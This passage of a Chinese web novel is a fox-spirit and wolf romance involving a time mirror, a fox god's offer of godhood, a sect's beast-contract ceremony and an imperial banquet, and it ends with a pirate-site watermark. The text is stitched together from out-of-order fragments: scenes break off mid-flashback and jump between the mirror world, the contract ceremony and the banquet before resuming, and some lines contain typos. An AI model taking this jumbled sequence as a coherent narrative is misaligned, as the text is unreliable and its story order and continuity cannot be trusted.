她看的眉头直蹙,“此物不是用来躲避天机的吗?为什么嘬嘬不一样。” 狐神道:“不过是放大人欲念自欺欺人的一个阵法罢了,天机又怎能蒙蔽?” 至于曾经那位用阵法的男子并没有成神,最后死于雷罚之下。 狐神还想给小狐狸科普不成神的危害,比如会被某个臭男人欺骗感情,最后和三万年前的狐妖一个下场,神格尽毁,香消玉殒。 结果她嘚啵嘚啵一堆,神识一看,小狐狸正在围着碎片翘着尾巴来回踱步。 “这得怎么办呢,他都五百岁的老狼了,欲念怎么还那么重。” “天啊,不会被他吸秃吧。”金灿灿的小镜子被甩在地上,狐狸一只爪子踩上去,不解气地踹两脚。 “认贼作娘!” “谁是你的主人不知道吗?” “坏镜子,你等回家的昂!” 踩踩踩! 镜子安安静静的,散发着虚弱的光,瞅着奄奄一息的,底气不是很足。 小狐狸轻哼一声,知道现在不是收拾浮生镜的时候,勉为其难放它一马。 她围着浮生镜转一圈。 这面水滴状的镜子成年男子拳头那么大,镜面不怎么清晰,像是蒙上了一层纱看得不真切 ,上面有一个圆孔,可以挂绳子,在圆孔的下方破损了一块,应该就是她意识海中的那个碎片。 她眨了眨眼睛,意识海中的神魂将那枚碎片推出来。 和浮生镜同样颜色的钥匙浮现在眼前,她叼住钥匙,直接丢到浮生镜上。 镜面荡起淡淡的水波纹,奇妙的光芒映在小狐狸清澈的眼底,她睁大眼睛,一瞬不瞬看着上面的变化,钥匙一点点融入浮生镜,弥补了上面的缺口 ,当镜子彻底融合,镜面发生变化,类似于三条狐尾又活着三片花瓣的东西在上面鼓起来,紧接着金蓝色的锁链倏然从中冒出。 坏镜子要报仇! 小狐狸炸毛,扭头就想跑,细长的链子倏然圈住她的后腿,一把拖了进去。 她吓得抱成一个团子,吱哇乱叫。 鬼叫半晌,四周一片寂静,她顿住,悄咪咪放开了抱着脑袋的狐狸爪,睁开眼睛。 这是一个很奇妙的空间。 四面八方都是镜子碎片,而每一个碎片,都在不同的时空,演绎着不同的人生。 小狐狸眨了眨眼睛,惊慌的情绪不自觉平复下来,迈着小碎步,翘着尾巴围着一面碎片转了一圈,眼里皆是对未知事物的惊奇。 “这边是浮生镜的能力。” 熟悉的声音在耳畔响起,“你终于拿回浮生镜,唯有你,才能彻底激活上面的力量,在这里,你就是掌管时间之力的神明,做任何你想做的事,比如……” 一块镜子碎片飘荡在胡淼淼眼前。 “山灵,你要有弟弟或者妹妹了,开不开心?” 狐族的王后挺着大肚子,笑问苏山灵,苏山灵语气不善,“有什么可开心的,生出来夺走属于我的一切吗?” 王后诧异:“你为何会这么想?” “不该这么想吗?”苏山灵冷笑,眼里是对一切的不屑,“痴心妄想,无论他是男是女,只要他老老实实不碍我的眼,我可放他一条生路,但他别妄想夺走我的一切。” 她拂袖而去,徒留王后看着她的背影默默失神。 这时候,不难看出王后对腹中的孩子还是有几分母爱的。 可后来一切都变了,狐狸的诞生,天降异象,世上第一条蓝色狐狸,让所有狐族都慌了神,特意请青丘的大祭司算一算,答案是这狐狸会是导致狐族灭亡的灾星。 那一刻,狐族的其他人要求处死水狐以除后患。 作为孩子是母亲还有几分犹豫,而大祭司又发话,在狐狸未成年之前,不能杀,否则会引来更大的灾难。 后来由水狐的姐姐,亲自将她丢至深山。 那一日,大雨磅礴。 画面就此定格。他是谁? 大病未好,小崽子刚醒来身体虚弱,声音有些沙哑,叫起来愣是有一种歇斯底里的错觉。 她一低头,对上了对方黑黝黝的眼睛,竟有很强烈的压迫感。 “这是怎么了?你不是应该关心契约的事吗?我也没想到会契约成功,对你影响还那么大。” 她说了一堆,小黑团子却恍若未闻,肉垫再次拍拍通灵玉上面的那句话。 重点落在慕言辞三个字上。 “啾?”青泽宗?他是谁? “不是,你为什么能看懂字?” “啾!!!”对谁用情至深! 胡淼淼:“……怎么了这是,这是重点吗?” “哼唧!”是重点,你说啊! 刚从昏迷中醒来的毛团子的毛硬生生炸了一圈,炸成为一只黑色的松球,一双眼睛瞪圆了,就那么明亮有神地盯着她。 不知怎地,气得差点说人话。 周宗主并不在意众人修为如何,在御兽宗能御兽就足够。 他十分和蔼掏出几幅帖子送到众人手中,“这里是沟通于天道的契约帖,你们只要把血滴入,再按照上面的纹路描绘,经过天道允许便能成功结契,不过你们要做好准备,这步骤看似简单,实际上能不能成功还是要看造化。” 胡淼淼接过一个帖子,发现上面什么图案都没有,应该是等滴血才会有反应,她暗自嘀咕。 【成功是不可能成功的,我乐意,小崽子也不乐意。】 趴在她肩膀上的君泽琛听得清清楚楚。 他确实不想和人类结契,但听到耳里,又是一种滋味。 君泽琛鬼使神差地想,如果是和她,似乎也不是不可以。 反正是平等契约,不会对现在的生活有什么影响,那是不是,永远可在一起了? 这边一草一兽心怀鬼胎,另外两边已经开始迫不及待地结契。 那名不认识的弟子和灵兽把血滴上去,契约帖上却没有丝毫反应,他有些失落,“是不是失败了?” 宗主淡淡瞥一眼,表情习以为常,王岚凑过去安慰了几句,小莹和孔蓝把血滴上去后,惊呼一声,“有反应了。” 众人凝神看过去,只见滴上去的血融合之后,空白的帖纸上浮现出一个孔雀的纹路,血液幻化成红线,宗主道:“控制血液,按照上面的图纹描绘。” 小莹一喜,赶紧按照嘱咐照搬,然而不知怎地,红线竟然在最后一步断了。 王岚惊讶:“怎会如此?要说往年的弟子们都无法引起契约帖共鸣,还是第一次见被打断的。” 其他内门弟子也很意外。 周宗主倒是淡定,“这是灵兽不愿意,被天道拒绝了。” 竟然还是此事? 孔蓝不是很喜欢小莹的吗?还不舒服? 眼睛不舒服你瞪我们干·鸡·毛? “皇上驾到~” 在场的名门千金也已经开的差不多了,正在众人满肚子腹诽之际,一道道尖细的嗓音,从殿外传来! 一声接着一声,那抹明黄色身影终于靠近,满殿莺莺燕燕行礼。 按理来说,这古代男女席位是分开的,至少其他人是这样的,可是胡淼淼却被君泽琛护在位置上,成为殿内唯一一个异类。 皇上视线在她身上顿了一下,像是没发现一般走到龙椅上俯视众人,话语无意外是永恒不变的开场白,官员们连胜符合。 突然皇上话锋一转:“说起来,琛皇弟成亲到现在,可算舍得让弟妹出来散散心了。” 这声弟妹叫的有点尴尬。 之前某人曾下过一道圣旨,胡淼淼眨眼就从儿媳妇变成了弟妹,这种微妙感十足。 可皇上好像不知什么尴尬一般,哪壶不开提哪壶,台下大臣们都提他尴尬。 更有人下意识去看君子华,其中更是有一部分人见过君子华为了来历不明的女人处置将军之女,虽没胆子明目张胆看戏,但目光已经在双方之间游移了。 胡淼淼蹙眉,现在她极其不愿意让人总扯出于君子华的关系。 更何况,明明是给三王爷选妃,谈她为何意? 纵使心中有顾虑,可胡淼淼依旧没说话,皇上问的是君泽琛,并非是她,若是这时候抢话,难免不符合规矩。 青鸾殿占地面积甚广,皇上坐在首位,左下边是皇子排序到臣子,右手边则坐着皇后,其次才是一众女眷。 每人跪坐在一张长形桌案后,君泽琛与胡淼淼在一桌,桌案下没人看见一只大手偷偷摸了过去。 胡淼淼一愣,长睫垂落去看那只极其不端庄的手,正把玩着她的手。 君泽琛一边玩,一边随口应付:“某人不珍淼,本王自当有眼识珠。” 胡淼淼轻咳一声,某人还真敢说。 这不明晃晃当着人家面说他儿子眼光不行鼠目寸光吗? 君泽琛动作一顿,众目睽睽之下,伸出另一只手给她递茶:“润润喉,你身体不好莫要着凉了。” 众人:“……” 说出来可能不信,这绝逼不是哪个在朝堂之中和他们斗智斗勇的小疯批! 女眷那边,不少女子把视线从三王爷那边转移到君泽琛身上,目光逐渐惊羡。 以往名门千金只知道琛王是个一言不合就杀人的主 ,闻风丧胆的大魔头,未曾想到,能够见到魔头温柔的一面…… 身为王爷,为王妃斟茶,还出言维护,说起话来丝毫不像传闻中那么可怕,反而很动听。 就好似王妃是他含在嘴里怕化的明珠似的。 这让不少人心思活络了起来。 原来,琛王也会好女色,那他们岂不是有机会? 犯不着吊死在三王爷这一棵歪脖子树上。 三王爷虽然很优秀,可是作为未来储君,说他冷漠吧,他又有点优柔,说他人好相处吧,又给整天挎着大碧莲。 和琛王比起来,这种独宠我一人的张狂劲儿,简直太有征服·欲了吧…… 不知不觉间,女人们已经忘记自己参加谁的选妃宴了。 胡淼淼心生奇怪,小莹也不敢相信地看着孔蓝,孔蓝低着头,不知在想什么,但显然问题出在它身上。 它的尾羽尚未长好,耷拉在后面,活脱脱像被淋了雨的落汤鸡,气息也很古怪。 小莹扯了扯唇角,最终道:“没事,今年不通过,我再等明年。 只是明年是否能通过前两关还是未知数。 狐神说:“你只要成为神,可以穿梭过去未来,也可以在这里谱写命运,届时,你曾经所受的苦都不复存在。” 狐命运的轨迹虽有磨炼,却不该丢失浮生镜,更不会成为狐族口中的灾星,她在这里动动手指改变命运,就可以按照命运的轨迹成为神。 狐神:“你的答案呢?” 胡淼淼蹲坐下来,“成为神的代价,是什么?” “神,要公平公正,怜悯世间生灵,却不得偏爱,所以你不能有感情。” 也就是说,成为神祇,会被剥夺所有情感。 在很早之前,胡淼淼就意识到不对劲儿了,而且被狼多次哄骗的狐明显感知到这只狐神也在骗狐,说什么神不能插手世间的因果,可方才不是还骗她,让她通过浮生镜篡改历史吗? 小狐狸满脸严肃,“我拒绝。” “可是都不是他自愿的,他被影响也很可怜呀。” 神说的话,小狐狸一个字都没听进去,她正因为一只狼愁得掉毛。 “所以我想……”胡淼淼低下头,几缕发丝垂直胸前,她缠绕在指尖,别扭道,“你能不能……嗡嗡嗡。” 君泽琛:“?” 不是,他把她投喂的那么饱,说话怎么和没吃饭似的? 话都说完了,身后没有动静。 胡淼淼扭捏地回头,见他还是一副不为所动的模样,急得秀气的眉毛竖起,美眸娇嗔地怒瞪,“君泽琛!你这坏狼,还要让我请你吗?” 君泽琛看着她的表情,倏然像是明白了什么。 他不太确定地问:“你让我……?” 胡淼淼脸蛋憋通红,“你……你元阳分给我,那我……也分给你点。” 气死狐了,怎么就听不懂狐话。 早就说,不应该跨种族谈恋爱,交流方式早晚要出大问题的。 狐狸脸皮薄,说完了羞得不成样子,脸上火辣辣的烫,她不敢看君泽琛的表情,急匆匆一头扎进被子里。 然而她现在不是狐形,不小心撞到了床头,疼得倒吸了一口凉气。 一声痛呼,成功唤醒了木头狼, 他几乎是瞬移过去,长臂一伸,将狐美人揽入怀中,另一只手帮她捂住额头,“怎么这么不小心, 我看看?” 她光洁的额前有一块红彤彤的,他给她揉揉,再吹吹,“没成神,经不起磕碰。” “不成了。”女人柔软的手臂借势环住他的脖颈,整个人都依恋地侧坐在他怀里,被撞得泛着水光的眸子一眨不眨凝视他,“我把神格分给你一半,好狗,你愿意陪我永生吗?” 君泽琛手背青筋紧绷,“考虑清楚了?” 成神的机会只有一次。 胡淼淼的目光坚定,再一次问他,“你愿意吗?” 她的目标从来不是成神,而是拥有一个家。 这个家,是要用狐和狼组成的。 缺一不可。 头顶上,狐狸灯永恒不变地闪着,洞外的雨哗啦啦落下,同样落下还有谁的一滴泪。 男人将头埋入她的肩膀,醇厚的声音徒增几分沙哑。 “我愿意。” 陪你永生,狐和狼,说好了,永远不分离。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m